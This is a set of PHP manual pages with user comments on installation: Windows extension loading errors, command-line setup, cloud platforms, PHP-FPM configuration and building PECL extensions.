amainATgoldcoastdesignORG 08-Oct-2008 03:01
I just recently tried to upgrade my php install on WinXP using the php-5.2.6-win32-installer.msi and with fingers crossed, tried to see if things still worked or not.

Unfortunately, they didn't.  I did see many posts here and elsewhere on the web regarding the error message:

"Unable to load dynamic link library 'ext\php_xxxxx.dll' - The specified module could not be found."

php.net says in the past when upgrading to simply copy over new php files, but now recommends using the windows installer.  Maybe the installer isn't quite up to the task yet.

My fix:

1. Completely uninstall current version of php (using Windows Control Panel > Add or Remove Programs).

2. Download the current php binaries for Windows (at php.net/downloads.php under Windows Binaries).  Should be format: PHP 5.x.x zip package.  Again, download the binaries, NOT the installer.

3. Follow these easy steps
http://www.ricocheting.com/server/php.html

4. Set your PATH for Windows to find php (if you haven't already):
a. Right-click on My Computer
b. Properties
c. Advanced Tab > Environment Variables
d. Under System variables, scroll down to find "Path", select and click on Edit
e. Add path to your php install on the end (make sure to precede with semi-colon ";").  Mine was ";G:\Apache\php"
f. Click Okay.  (then "Okay" on each of the other open windows).

5. Test php install. (see ricocheting link above for testing).

6. Getting the extensions to work again:
a. Open php.ini
b. uncomment each extension, restart Apache.

7. Special note on libmysql.dll and problems getting MySQL to work:
- You may have copied over this file into your Windows/System32 (or WINNT/System32 for me) to get mysql to work in the past.  If so, replace it with the most recent version you get with the upgrade (in top dir).
- If this is a fresh install, copy the libmysql.dll into your System32 folder.

Couple notes:
1. The above tutorial link is to install php 5.x on Apache 2.2 for Win.  If you're running Apache 2.0 like me, pay special attention to "Editing Apache Conf File" for correct LoadModule info.
2. If you ran the installer previously, double check your Apache conf where the php5 LoadModule stuff is.  The installer might have messed with this a bit.

I hope this stuff helps.
-Art
smaines at alaya dot com 15-Feb-2008 11:51
== Problem

Consider the following from an httpd.conf file...

  LoadModule php5_module "E:/xyz/php/php5apache2_2.dll"
  PHPIniDir "E:/xyz/php"

...which led to the dreaded...

  PHP Warning:  PHP Startup: Unable to load dynamic library 'E:\\xyz\\php\\ext\\php_mysql.dll' - The specified module could not be found.

Note, however, that PHP.exe apparently was found and executed php pages in Apache, but the MySQL functions therein failed.

== Solution

Because PHP dir was not in $PATH, php5apache2_2.dll failed to find php_mysql.dll (the only extension I enabled) during Apache 2.2 start.

== Caveat (!)

The BIG issue is that, setting $PATH in...

  <desk icon>My Computer
  <rt click>Properties
  <tab>Advanced
  <button>Environment Variables

...didn't export the $PATH change such that restarting the Apache service (in MMC) would pick it up.  So I tested the working solution (adding PHP dir to $PATH), but it failed because of HOW I set it. It succeeded only when I REBOOTED after changing the $PATH.  There may be an easier way that this, but I do not know it at present.

== Comment

Consider whether PHP dir should need to be in $PATH at all, when PHP.exe apparently was found and executes php pages in Apache, but php5apache2_2.dll failed to find whatever was needed to load the extensions.  This should perhaps be addressed.

Note that on a WAMP installation (W2K,Apache,MySQL,PHP), only PHP is required in $PATH.
Manda Krishna Srikanth 30-Jan-2008 01:10
As far as my experience says, 95% of ext\php_mysql.dll - The specified module could not be found - error can be sorted out on Win 2003, IIS 6, PHP5.2.

Replace the php_mysql.dll and libmysql.dll downloaded from http://dev.mysql.com/downloads/connector/php/ into extensions directory.

For MSSQL connectivity problems, replace the ntwdblib.dll in php dir with the one copied from system32 directory. Ofcourse the filesize will be less, no problem, replace it.
jma59 at cam dot ac dot uk 22-Sep-2007 02:00
Under windows, given an error similar to

PHP Warning:  PHP Startup: Unable to load dynamic library 'c:\\php\\ext\\php_mysql.dll' - The specified module could not be found.\r\n in Unknown on line 0

When PHP definitely should be able to find the module, it's fairly common knowledge that this error can also be caused by  certain dlls not being in the PATH. These dlls (usually libeay32 and ssleay32) are generally found in your base php directory, and the modern windows installers add the base php directory to the PATH so that you don't need to worry about it. However, if when installing earlier versions you decided on moving libeay32, ssleay32 et al to C:\Windows\System32 instead of changing the PATH, then php will still end up with the old versions and the out of date versions will cause the same error as above. Don't fall into the trap like I did.
JerryG 30-Aug-2007 10:12
Installing PHP extensions for IIS for the first time is sort of a baptism by fire -- you will get your hands dirty, and other suitable metaphors of nastiness.  Hopefully, you won't have to spend too many days googling around fora and restarting IIS 10 million times as I did until I finally realized both what was going on and what crazy things I'd done wrong.

THIS (peter)guy really goes into terrific detail and troubleshooting, (with very good reasons and explanations of extension dependencies not listed on the current php page you're now reading):

http://www.peterguy.com/php/install_IIS6.html

Most of this is applicable for IIS5.1 as well, as far as I've found.

The main problem I'd been butting my head up against was extensions being reported as not found, even though the .DLLs were definitely in C:\PHP\ext, and my PATH env var was setup correctly.

The error messaging during dynamic loading of implicitly-linked libraries should be more specific, telling you that in fact it is a particular dependency of a dependency which is missing -- usually some obscure third-party .dll -- and name it!

Eventually I stopped being so greedy and just cut down on the extensions I thought I needed by commenting them out in php.ini.  That eliminated the startup errors.  Apparently some of these extensions or their requirements, which either come with the base PHP install zip or the PECL extensions, are either too obscure or too fragile to be necessary anyway.

Good luck, and I hope anyone who runs into the same trouble can hit upon this or Peter Guy's page directly before they go too crazy.
simi_def at c2 dot hu 17-Aug-2006 10:10
I had problems with PHP5/Apache2.2/MySQL 5 installation on a WinXp machine.

I got the

Fatal error: call to undefined function - mysql_connect().

message

Solution :
1, use correct version of ext\php_mysql.dll and libmysql.dll
2, !!! edit the CORRECT php.ini (%windir%\php.ini) like c:\windows\php.ini !!!
3, add php installation dir to PATH
4, edit php.ini to load extension php_mysql.dll

use
<?php
phpinfo();
?>
to check.


Command Line PHP on Microsoft Windows

This section contains notes and hints specific to getting PHP running from the command line for Windows.

Note:

You should read the manual installation steps first!

Getting PHP to run from the command line can be performed without making any changes to Windows.

C:\PHP5\php.exe -f "C:\PHP Scripts\script.php" -- -arg1 -arg2 -arg3

But there are some easy steps that can be followed to make this simpler. Some of these steps should already have been taken, but are repeated here to be able to provide a complete step-by-step sequence.

    Note:

    Both PATH and PATHEXT are important pre-existing system variables in Windows, and care should be taken to not overwrite either variable, only to add to them.

  • Append the location of the PHP executable (php.exe, php-win.exe or php-cli.exe depending upon your PHP version and display preferences) to the PATH environment variable. Read more about how to add your PHP directory to PATH in the corresponding FAQ entry.

  • Append the .PHP extension to the PATHEXT environment variable. This can be done at the same time as amending the PATH environment variable. Follow the same steps as described in the FAQ but amend the PATHEXT environment variable rather than the PATH environment variable.

    Note:

    The position in which you place the .PHP will determine which script or program is executed when there are matching filenames. For example, placing .PHP before .BAT will cause your script to run, rather than the batch file, if there is a batch file with the same name.

  • Associate the .PHP extension with a file type. This is done by running the following command:

    assoc .php=phpfile

  • Associate the phpfile file type with the appropriate PHP executable. This is done by running the following command:

    ftype phpfile="C:\PHP5\php.exe" -f "%1" -- %~2

Following these steps will allow PHP scripts to be run from any directory without the need to type the PHP executable or the .PHP extension and all parameters will be supplied to the script for processing.

The example below details some of the registry changes that can be made manually.

Example #1 Registry changes

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.php]
@="phpfile"
"Content Type"="application/php"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile]
@="PHP Script"
"EditFlags"=dword:00000000
"BrowserFlags"=dword:00000008
"AlwaysShowExt"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\DefaultIcon]
@="C:\\PHP5\\php-win.exe,0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell]
@="Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open]
@="&Open"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\phpfile\shell\Open\command]
@="\"C:\\PHP5\\php.exe\" -f \"%1\" -- %~2"

With these changes the same command can be written as:

"C:\PHP Scripts\script" -arg1 -arg2 -arg3
or, if your "C:\PHP Scripts" path is in the PATH environment variable:
script -arg1 -arg2 -arg3

Note:

There is a small problem if you intend to use this technique and use your PHP scripts as a command line filter, like the example below:

dir | "C:\PHP Scripts\script" -arg1 -arg2 -arg3
or
dir | script -arg1 -arg2 -arg3
You may find that the script simply hangs and nothing is output. To get this operational, you need to make another registry change.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"InheritConsoleHandles"=dword:00000001
Further information regarding this issue can be found in this » Microsoft Knowledgebase Article : 321788.

User Contributed Notes

ckelley at ca-cycleworks dot com 01-Apr-2012 09:43
Note that the default behavior of php-cli is short_open_tag=off, which means PHP scripts using short tags `<?  ?>` won't execute and instead show source code.

To fix this, you must edit the php.ini file and add short_open_tag=on
pimroes at gmail dot com 11-Jan-2011 09:11
Make sure your run CMD.exe as an administrator, otherwise you'll get an "access denied" when you run the commands.


Installation on Cloud Computing platforms

Table of Contents

  • Microsoft Azure
  • Amazon EC2

PHP installs on the cloud. To the PHP cloud!

User Contributed Notes

Leam Hall 12-Oct-2013 02:02
For Rackspace hosts you can use the IUS community repo for updated PHP versions that work on RHEL/CentOS.

http://iuscommunity.org


Microsoft Azure

PHP installs on the » Azure cloud platform.

See also the » Azure SDK for PHP.

User Contributed Notes

Anonymous 03-Mar-2014 06:08
The "Azure SDK for PHP" link provided above (which points to the Interoperability Bridges website) has been deprecated in favour of an SDK hosted on GitHub...
http://github.com/WindowsAzure/azure-sdk-for-php

There is also a supporting "PHP Developer Center" website:
http://www.windowsazure.com/en-us/develop/php/

I did try editing the URL for the "Azure SDK for PHP" myself, but the URLs seem to be stored in a separate file which I was unable to find.


Amazon EC2

PHP installs on the » EC2 cloud platform.

See also the » AWS SDK for PHP.

User Contributed Notes

krp dot sindhu at gmail dot com 17-Dec-2013 03:19
The amazon EC2 Platform comes with the basic PHP platform you just have to call your modules which you want to install with the amazon platform. you can simply call
<b>sudo yum install php-"your_modules"<b/> and then restart your server by using <b>sudo restart service httpd</b>
now you are able to use php on your amazon cloud environment.
tolgambaev at hotmail dot com 18-Apr-2012 09:27
The easy way to deploy PHP environment into Amazon EC2 is to use AWS Elastic Beanstalk service. It automatically runs all the infrastructure including EC2 instance with PHP installed. See http://aws.amazon.com/elasticbeanstalk/.

yum installation is also available on EC2.


FastCGI Process Manager (FPM)

Table of Contents

  • Installation
  • Configuration

FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites.

These features include:

  • advanced process management with graceful stop/start;

  • ability to start workers with different uid/gid/chroot/environment, listening on different ports and using different php.ini (replaces safe_mode);

  • stdout and stderr logging;

  • emergency restart in case of accidental opcode cache destruction;

  • accelerated upload support;

  • "slowlog" - logging scripts (not just their names, but their PHP backtraces too, using ptrace and similar things to read remote process' execute_data) that are executed unusually slow;

  • fastcgi_finish_request() - special function to finish request and flush all data while continuing to do something time-consuming (video converting, stats processing etc.);

  • dynamic/static child spawning;

  • basic SAPI status info (similar to Apache mod_status);

  • php.ini-based config file.

User Contributed Notes

dreamcat4 at gmail dot com 17-May-2014 12:17
Doesn't work? Enable logging!

The php-fpm.log file is a great place to fault-find errors and get to the bottom of a problem. But be sure to enable logging for your specific worker pool. Or you won't see anything!

Example:

To enable error logging for the default [www] worker pool, add this line in the [www] section of your php-fpm.conf:

[www]
catch_workers_output = yes
kokushibyou at gmail dot com 26-Apr-2013 07:04
PHP-FPM is FAST - but be wary of using it while your code base is stored on NFS - under average load your NFS server will feel some serious strain. I have yet to find a work around for this bug: https://bugs.php.net/bug.php?id=52312
joel k 30-Jun-2011 09:56
the fpm process supports the USER2 signal, which is used to reload the config file.

kill -USR2 [pid]

should do the trick.
robin at robinwinslow dot co dot uk 12-Dec-2010 07:05
Init script setup
===

You will probably want to create an init script for your new php-fpm. Fortunately, PHP 5.3.3 provides one for you, which you should copy to your init directory and change permissions:

$ cp <php-5.3.3-source-dir>/sapi/fpm/init.d.php-fpm.in /etc/init.d/php-fpm
$ chmod 755 /etc/init.d/php-fpm

It requires a certain amount of setup. First of all, make sure your php-fpm.conf file is set up to  create a PID file when php-fpm starts. E.g.:
----
pid = /var/run/php-fpm.pid
----
(also make sure your php-fpm user has permission to create this file).

Now open up your new init script (/etc/init.d/php-fpm) and set the variables at the top to their relevant values. E.g.:
---
prefix=
exec_prefix=
php_fpm_BIN=/sbin/php-fpm
php_fpm_CONF=/etc/php-fpm.conf
php_fpm_PID=/var/run/php-fpm.pid
---

Your init script is now ready. You should now be able to start, stop and reload php-fpm:

$ /etc/init.d/php-fpm start
$ /etc/init.d/php-fpm stop
$ /etc/init.d/php-fpm reload

The one remaining thing you may wish to do is to add your new php-fpm init script to system start-up. E.g. in CentOS:

$ /sbin/chkconfig php-fpm on

===========

Disclaimer: Although I did just do this on my own server about 20 mins ago, everything I've written here is off the top of my head, so it may not be 100% correct. Also, allow for differences in system setup. Some understanding of what you are doing is assumed.


Installation

Compiling from sources

In order to enable FPM in your PHP build you need to add --enable-fpm to your configure line.

There are several other FPM-specific configure options (all of them optional):

  • --with-fpm-user - set FPM user (default - nobody).

  • --with-fpm-group - set FPM group (default - nobody).

User Contributed Notes

jlim at juristech dot net 18-Nov-2013 04:56
If you get a compile/link error with WCOREDUMP undefined, then define the following in sapi/fpm/fpm/fpm_children.c.

This happened to me when running on AIX, which apparently does not define this macro.

#ifndef WCOREDUMP
#define WCOREDUMP(x) 0
#endif
</pre>
juangiordana at gmail dot com 09-Jan-2011 01:04
Notice that the libevent requeriment has been dropped since php-5.3.4.

http://bugs.php.net/52501
http://bugs.php.net/53691
php at gigfa dot com 14-Aug-2010 07:27
An init startup script file can be found at :
./php-5.3.3/sapi/fpm/init.d.php-fpm
after successful compilation.


Configuration

FPM uses php.ini syntax for its configuration file - php-fpm.conf, and pool configuration files.

List of global php-fpm.conf directives

pid string

Path to PID file. Default value: none.

error_log string

Path to error log file. Default value: #INSTALL_PREFIX#/log/php-fpm.log.

log_level string

Error log level. Possible values: alert, error, warning, notice, debug. Default value: notice.

emergency_restart_threshold int

If this number of child processes exit with SIGSEGV or SIGBUS within the time interval set by emergency_restart_interval then FPM will restart. A value of 0 means 'Off'. Default value: 0 (Off).

emergency_restart_interval mixed

Interval of time used by emergency_restart_interval to determine when a graceful restart will be initiated. This can be useful to work around accidental corruptions in an accelerator's shared memory. Available Units: s(econds), m(inutes), h(ours), or d(ays). Default Unit: seconds. Default value: 0 (Off).

process_control_timeout mixed

Time limit for child processes to wait for a reaction on signals from master. Available units: s(econds), m(inutes), h(ours), or d(ays) Default Unit: seconds. Default value: 0.

daemonize boolean

Send FPM to background. Set to 'no' to keep FPM in foreground for debugging. Default value: yes.

List of pool directives

With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.

listen string

The address on which to accept FastCGI requests. Valid syntaxes are: 'ip.add.re.ss:port', 'port', '/path/to/unix/socket'. This option is mandatory for each pool.

listen.backlog int

Set listen(2) backlog. A value of '-1' means unlimited. Default value: -1.

listen.allowed_clients string

List of ipv4 addresses of FastCGI clients which are allowed to connect. Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original PHP FastCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address must be separated by a comma. If this value is left blank, connections will be accepted from any ip address. Default value: any.

listen.owner string

Set permissions for unix socket, if one is used. In Linux, read/write permissions must be set in order to allow connections from a web server. Many BSD-derived systems allow connections regardless of permissions. Default values: user and group are set as the running user, mode is set to 0660.

listen.group string

See listen.owner.

listen.mode string

See listen.owner.

user string

Unix user of FPM processes. This option is mandatory.

group string

Unix group of FPM processes. If not set, the default user's group is used.

pm string

Choose how the process manager will control the number of child processes. Possible values: static, ondemand, dynamic. This option is mandatory.

static - the number of child processes is fixed (pm.max_children).

ondemand - the processes spawn on demand (when requested, as opposed to dynamic, where pm.start_servers are started when the service is started.

dynamic - the number of child processes is set dynamically based on the following directives: pm.max_children, pm.start_servers, pm.min_spare_servers, pm.max_spare_servers.

pm.max_children int

The number of child processes to be created when pm is set to static and the maximum number of child processes to be created when pm is set to dynamic. This option is mandatory.

This option sets the limit on the number of simultaneous requests that will be served. Equivalent to the ApacheMaxClients directive with mpm_prefork and to the PHP_FCGI_CHILDREN environment variable in the original PHP FastCGI.

pm.start_servers int

The number of child processes created on startup. Used only when pm is set to dynamic. Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2.

pm.min_spare_servers int

The desired minimum number of idle server processes. Used only when pm is set to dynamic. Also mandatory in this case.

pm.max_spare_servers int

The desired maximum number of idle server processes. Used only when pm is set to dynamic. Also mandatory in this case.

pm.max_requests int

The number of requests each child process should execute before respawning. This can be useful to work around memory leaks in 3rd party libraries. For endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS. Default value: 0.

pm.status_path string

The URI to view the FPM status page. If this value is not set, no URI will be recognized as a status page. Default value: none.

ping.path string

The ping URI to call the monitoring page of FPM. If this value is not set, no URI will be recognized as a ping page. This could be used to test from outside that FPM is alive and responding. Please note that the value must start with a leading slash (/).

ping.response string

This directive may be used to customize the response to a ping request. The response is formatted as text/plain with a 200 response code. Default value: pong.

request_terminate_timeout mixed

The timeout for serving a single request after which the worker process will be killed. This option should be used when the 'max_execution_time' ini option does not stop script execution for some reason. A value of '0' means 'Off'. Available units: s(econds)(default), m(inutes), h(ours), or d(ays). Default value: 0.

request_slowlog_timeout mixed

The timeout for serving a single request after which a PHP backtrace will be dumped to the 'slowlog' file. A value of '0' means 'Off'. Available units: s(econds)(default), m(inutes), h(ours), or d(ays). Default value: 0.

slowlog string

The log file for slow requests. Default value: #INSTALL_PREFIX#/log/php-fpm.log.slow.

rlimit_files int

Set open file descriptor rlimit. Default value: system defined value.

rlimit_core int

Set max core size rlimit. Possible Values: 'unlimited' or an integer greater or equal to 0. Default value: system defined value.

chroot string

Chroot to this directory at the start. This value must be defined as an absolute path. When this value is not set, chroot is not used.

chdir string

Chdir to this directory at the start. This value must be an absolute path. Default value: current directory or / when chroot.

catch_workers_output boolean

Redirect worker stdout and stderr into main error log. If not set, stdout and stderr will be redirected to /dev/null according to FastCGI specs. Default value: no.

It's possible to pass additional environment variables and update PHP settings of a certain pool. To do this, you need to add the following options to the pool configuration file.

Example #1 Passing environment variables and PHP settings to a pool

env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M
PHP settings passed with php_value or php_flag will overwrite their previous value. Please note that defining disable_functions or disable_classes will not overwrite previously defined php.ini values, but will append the new value instead.

Settings defined with php_admin_value and php_admin_flag cannot be overriden with ini_set().

As of 5.3.3, PHP settings are also possible to be set in webserver.

Example #2 set PHP settings in nginx.conf

set $php_value "pcre.backtrack_limit=424242";
set $php_value "$php_value \n pcre.recursion_limit=99999";
fastcgi_param  PHP_VALUE $php_value;

fastcgi_param  PHP_ADMIN_VALUE "open_basedir=/var/www/htdocs";
Caution

Because these settings are passed to php-fpm as fastcgi headers, php-fpm should not be bound to a worldwide accessible address. Otherwise, anyone could alter the PHP configuration options. See also listen.allowed_clients.

User Contributed Notes

gadnet at aqueos dot com 06-May-2014 11:24
the doc is lacking a lot of things it seems.

  The php fpm exemple config file indicate different thing, more option etc... I wonder why the main documentation is less verbose that the configuration file that user can have .. or not have ?
Yousef Ismaeil Cliprz 23-Jan-2014 11:03
Check if fastCGI enabled

<?php
// You can use isset or is_null for $_SERVER['FCGI_SERVER_VERSION']
function isFastCGI () {
    return !is_null($_SERVER['FCGI_SERVER_VERSION']);
}

?>
sroussey at gmail dot com 18-Feb-2013 09:15
Starting in 5.3.9 the security.limit_extensions configuration item has been added and it defaults to .php. If you need to execute other extensions, you have to change this setting.
Frank DENIS 29-May-2011 08:23
The default value for listen.backlog isn't exactly "unlimited".

It's 128 on some operating systems, and -1 (which doesn't mean "unlimited" as well, but is an alias to a hard limit) on other systems.

Check for a sysctl value like kern.somaxconn (OpenBSD) or net.core.somaxconn (Linux).

Crank it up if you need more PHP workers than the default value. Then adjust listen.backlog in your php-fpm configuration file to the same value.

-Frank.


Installation of PECL extensions

Table of Contents

  • Introduction to PECL Installations
  • Downloading PECL extensions
  • Installing a PHP extension on Windows
  • Compiling shared PECL extensions with the pecl command
  • Compiling shared PECL extensions with phpize
  • php-config
  • Compiling PECL extensions statically into PHP

User Contributed Notes

ignatius dot teo at gmail dot com 08-Nov-2011 11:56
On CentOS/RHEL (+cPanel) installations, if you get a "checking whether the C compiler works... configure: error: cannot run C compiled programs", you may need to remount the /tmp and /var/tmp with exec permissions first:

$ mount -o remount,exec,suid /tmp
$ mount -o remount,exec,suid /var/tmp

Then:
$ pecl install {package}

And, don't forget to remount them as noexec after.
rbemrose at gmail dot com 17-Mar-2007 07:04
If you are using a Debian sarge system (currently the stable release) with php4-pear installed, you will still not have a pecl command.

The fix to this is to upgrade pear.

Unfortunately, pear upgrade PEAR will also error out stating that you need pear-1.3.3 minimum.

The fix to this is to specify the version of pear that you want to install.  In case it wasn't obvious, that means you want to
pear upgrade PEAR-1.3.3
pear upgrade-all


Introduction to PECL Installations

» PECL is a repository of PHP extensions that are made available to you via the » PEAR packaging system. This section of the manual is intended to demonstrate how to obtain and install PECL extensions.

These instructions assume /your/phpsrcdir/ is the path to the PHP source distribution, and that extname is the name of the PECL extension. Adjust accordingly. These instructions also assume a familiarity with the » pear command. The information in the PEAR manual for the pear command also applies to the pecl command.

To be useful, a shared extension must be built, installed, and loaded. The methods described below provide you with various instructions on how to build and install the extensions, but they do not automatically load them. Extensions can be loaded by adding an extension directive to the php.ini file, or through the use of the dl() function.

When building PHP modules, it's important to have known-good versions of the required tools (autoconf, automake, libtool, etc.) See the » Anonymous Git Instructions for details on the required tools, and required versions.

User Contributed Notes

mjs at beebo dot org 02-Feb-2009 05:16
If you are looking for the "pecl" executable (it should be installed in the same directory as your "php" binary), you may need to re-configure and compile PHP without the --without-pear option.  (--without-pear disables pecl as well as pear, though this doesn't appear to be documented anywhere, not even in the configure script...)

If the "pear command" link results in a 404, try:

http://pear.php.net/manual/en/guide.users.commandline.cli.php


Downloading PECL extensions

There are several options for downloading PECL extensions, such as:

  • The pecl install extname command downloads the extensions code automatically, so in this case there is no need for a separate download.
  • » http://pecl.php.net/ The PECL web site contains information about the different extensions that are offered by the PHP Development Team. The information available here includes: ChangeLog, release notes, requirements and other similar details.
  • pecl download extname PECL extensions that have releases listed on the PECL web site are available for download and installation using the » pecl command. Specific revisions may also be specified.
  • SVN Most PECL extensions also reside in SVN. A web-based view may be seen at » http://svn.php.net/viewvc/pecl/. To download straight from SVN, the following sequence of commands may be used:

    $ svn checkout http://svn.php.net/repository/pecl/extname/trunk extname

  • Windows downloads At this time the PHP project does not compile Windows binaries for PECL extensions. However, to compile PHP under Windows see the chapter titled building PHP for Windows.

User Contributed Notes

jeremy dot crombez at gmail dot com 20-Mar-2012 02:17
On Debian Squeeze, you can simply do :

aptitude install libssh2-php
mleer at clingendael dot nl 18-Sep-2009 01:11
If you get "pear.php.net is using a unsupported protocal" [sic!] do:
cd /usr/local/lib/php
rm -r .channels
pear update-channels
cweiske at php dot net 03-May-2009 12:58
When using "pecl install package", you might run into a memory limit problem. Solution is to use "pear install pecl/$extensionname" since it uses php.ini's memory limit.

See also:
- http://pear.php.net/bugs/bug.php?id=15107
- http://aspn.activestate.com/ASPN/Mail/Message/pear-dev/3168978


Installing a PHP extension on Windows

On Windows, you have two ways to load a PHP extension: either compile it into PHP, or load the DLL. Loading a pre-compiled extension is the easiest and preferred way.

To load an extension, you need to have it available as a ".dll" file on your system. All the extensions are automatically and periodically compiled by the PHP Group (see next section for the download).

To compile an extension into PHP, please refer to building from source documentation.

To compile a standalone extension (aka a DLL file), please refer to building from source documentation. If the DLL file is available neither with your PHP distribution nor in PECL, you may have to compile it before you can start using the extension.

Where to find an extension?

PHP extensions are usually called "php_*.dll" (where the star represents the name of the extension) and they are located under the "PHP\ext" folder.

PHP ships with the extensions most useful to the majority of developers. They are called "core" extensions.

However, if you need functionality not provided by any core extension, you may still be able to find one in PECL. The PHP Extension Community Library (PECL) is a repository for PHP Extensions, providing a directory of all known extensions and hosting facilities for downloading and development of PHP extensions.

If you have developed an extension for your own uses, you might want to think about hosting it on PECL so that others with the same needs can benefit from your time. A nice side effect is that you give them a good chance to give you feedback, (hopefully) thanks, bug reports and even fixes/patches. Before you submit your extension for hosting on PECL, please read » PECL submit.

Which extension to download?

Many times, you will find several versions of each DLL:

  • Different version numbers (at least the first two numbers should match)
  • Different thread safety settings
  • Different processor architecture (x86, x64, ...)
  • Different debugging settings
  • etc.

You should keep in mind that your extension settings should match all the settings of the PHP executable you are using. The following PHP script will tell you all about your PHP settings:

Example #1 phpinfo() call

<?php
phpinfo();
?>

Or from the command line, run:

drive:\\path\to\php\executable\php.exe -i

Loading an extension

The most common way to load a PHP extension is to include it in your php.ini configuration file. Please note that many extensions are already present in your php.ini and that you only need to remove the semicolon to activate them.

;extension=php_extname.dll

extension=php_extname.dll

However, some web servers are confusing because they do not use the php.ini located alongside your PHP executable. To find out where your actual php.ini resides, look for its path in phpinfo():

Configuration File (php.ini) Path  C:\WINDOWS

Loaded Configuration File   C:\Program Files\PHP\5.2\php.ini

After activating an extension, save php.ini, restart the web server and check phpinfo() again. The new extension should now have its own section.

Resolving problems

If the extension does not appear in phpinfo(), you should check your logs to learn where the problem comes from.

If you are using PHP from the command line (CLI), the extension loading error can be read directly on screen.

If you are using PHP with a web server, the location and format of the logs vary depending on your software. Please read your web server documentation to locate the logs, as it does not have anything to do with PHP itself.

Common problems are the location of the DLL, the value of the " extension_dir" setting inside php.ini and compile-time setting mismatches.

If the problem lies in a compile-time setting mismatch, you probably didn't download the right DLL. Try downloading again the extension with the right settings. Again, phpinfo() can be of great help.

User Contributed Notes

biel325 at gmail dot com 30-Dec-2010 02:57
To create a dll extension to
PHP follow this instructions:
http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/

*****IMPORTANT
1)You MUST use the last release of PHP source code, or people will not me able to use your extension. Don't worry to use only the version of the tutorial.
2) The folder "regex" exists in PHP 5.3, just find it in the subfolders.
3)While building your dll in Visual Studio, if you have any problem compiling or linking like: "winsock2.h is missing", find the files on your computer and include the project in the same way that the tutorial taught.
chris 12-Nov-2008 06:33
In response to soazine:

I've found, using wampserver, that the only configuration file that needs to be edited is the one listed under "Loaded Configuration File" given by phpinfo(). Those for whom this doesn't work should refer to soazine's steps.
stuart at kaihatsu dot co dot uk 07-Feb-2008 11:22
This is the only way to get PECL extensions - using the command line installer (similar to the PEAR installer) does not work on Windows...

This does not look like its going to be fixed any time soon...

Also, you should look at http://pecl4win.php.net/ for Windows PECL extensions.


Compiling shared PECL extensions with the pecl command

PECL makes it easy to create shared PHP extensions. Using the » pecl command, do the following:

$ pecl install extname

This will download the source for extname, compile, and install extname.so into your extension_dir. extname.so may then be loaded via php.ini

By default, the pecl command will not install packages that are marked with the alpha or beta state. If no stable packages are available, you may install a beta package using the following command:

$ pecl install extname-beta

You may also install a specific version using this variant:

$ pecl install extname-0.1

Note:

After enabling the extension in php.ini, restarting the web service is required for the changes to be picked up.

User Contributed Notes

ericn at amazon dot com 19-Nov-2013 08:55
To compile pecl extensions on Amazon Linux AMIs, follow the tutorial at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/install-LAMP.html and then install these additional required packages with the following command:

[ec2-user ~]$ sudo yum install php-devel zlib-devel curl-devel gcc

You should then be able to compile pecl extensions; for example, enter the following command to compile the pecl_http extension:

[ec2-user ~]$ sudo pecl install pecl_http
ktcox at mail dot com 07-Apr-2011 02:22
The Arch Linux package that contains PECL is 'php-pear'

# pacman -S php-pear
zir dot echo at gmail dot com 04-Jun-2008 08:43
Install pecl for gentoo:

emerge dev-php/PEAR-PEAR
pedro dot fonini at gmail dot com 30-Mar-2008 02:27
to use the pecl, pear, or phpize commands in fedora, install the php-devel package:
$ yum install php-devel


Compiling shared PECL extensions with phpize

Sometimes, using the pecl installer is not an option. This could be because you're behind a firewall, or it could be because the extension you want to install is not available as a PECL compatible package, such as unreleased extensions from SVN. If you need to build such an extension, you can use the lower-level build tools to perform the build manually.

The phpize command is used to prepare the build environment for a PHP extension. In the following sample, the sources for an extension are in a directory named extname:

$ cd extname
$ phpize
$ ./configure
$ make
# make install

A successful install will have created extname.so and put it into the PHP extensions directory. You'll need to and adjust php.ini and add an extension=extname.so line before you can use the extension.

If the system is missing the phpize command, and precompiled packages (like RPM's) are used, be sure to also install the appropriate devel version of the PHP package as they often include the phpize command along with the appropriate header files to build PHP and its extensions.

Execute phpize --help to display additional usage information.

User Contributed Notes

gautama dot himawan at yahoo dot com 21-Oct-2014 07:08
If you failed to run phpize command, then you should install php-devel package. Command line to install the php-devel package using yum is: yum install php-devel.

If you failed to compile the PECL extension, then you should install gcc package. Command line to install the gcc package using yum is: yum install gcc.
admin at eexit dot net 20-Jun-2012 04:33
When compiling an extension for a stack which is 64 bits (for example) and your compiler is configured to compile in 32 bits, you can manually compile your extensions using C flags before your configure.

Example: my system compiler is 32 bits and my stack is 64 bits. To compile my xdebug:

# phpize
# CFLAGS=-m64 CPPFLAGS=-m64 CCASFLAGS=-m64 ./configure --enable-xdebug
# gmake
# file modules/xdebug.so
modules/xdebug.so:      ELF 64-bit LSB dynamic lib AMD64 Version 1, dynamically linked, not stripped, no debugging information available
Brian 01-May-2008 08:39
If you have multiple PHP versions installed, you may be able to specify for which installation you'd like to build by using the --with-php-config option during configuration.

--with-php-config=[Insert path to proper php-config here]

For example (my case):
./configure --with-php-config=/usr/local/php5/bin/php-config5
Glen 18-May-2007 01:07
When you have multiple installations of PHP, running phpize from a specific installation will not force the module to be compiled with that installation's include files.

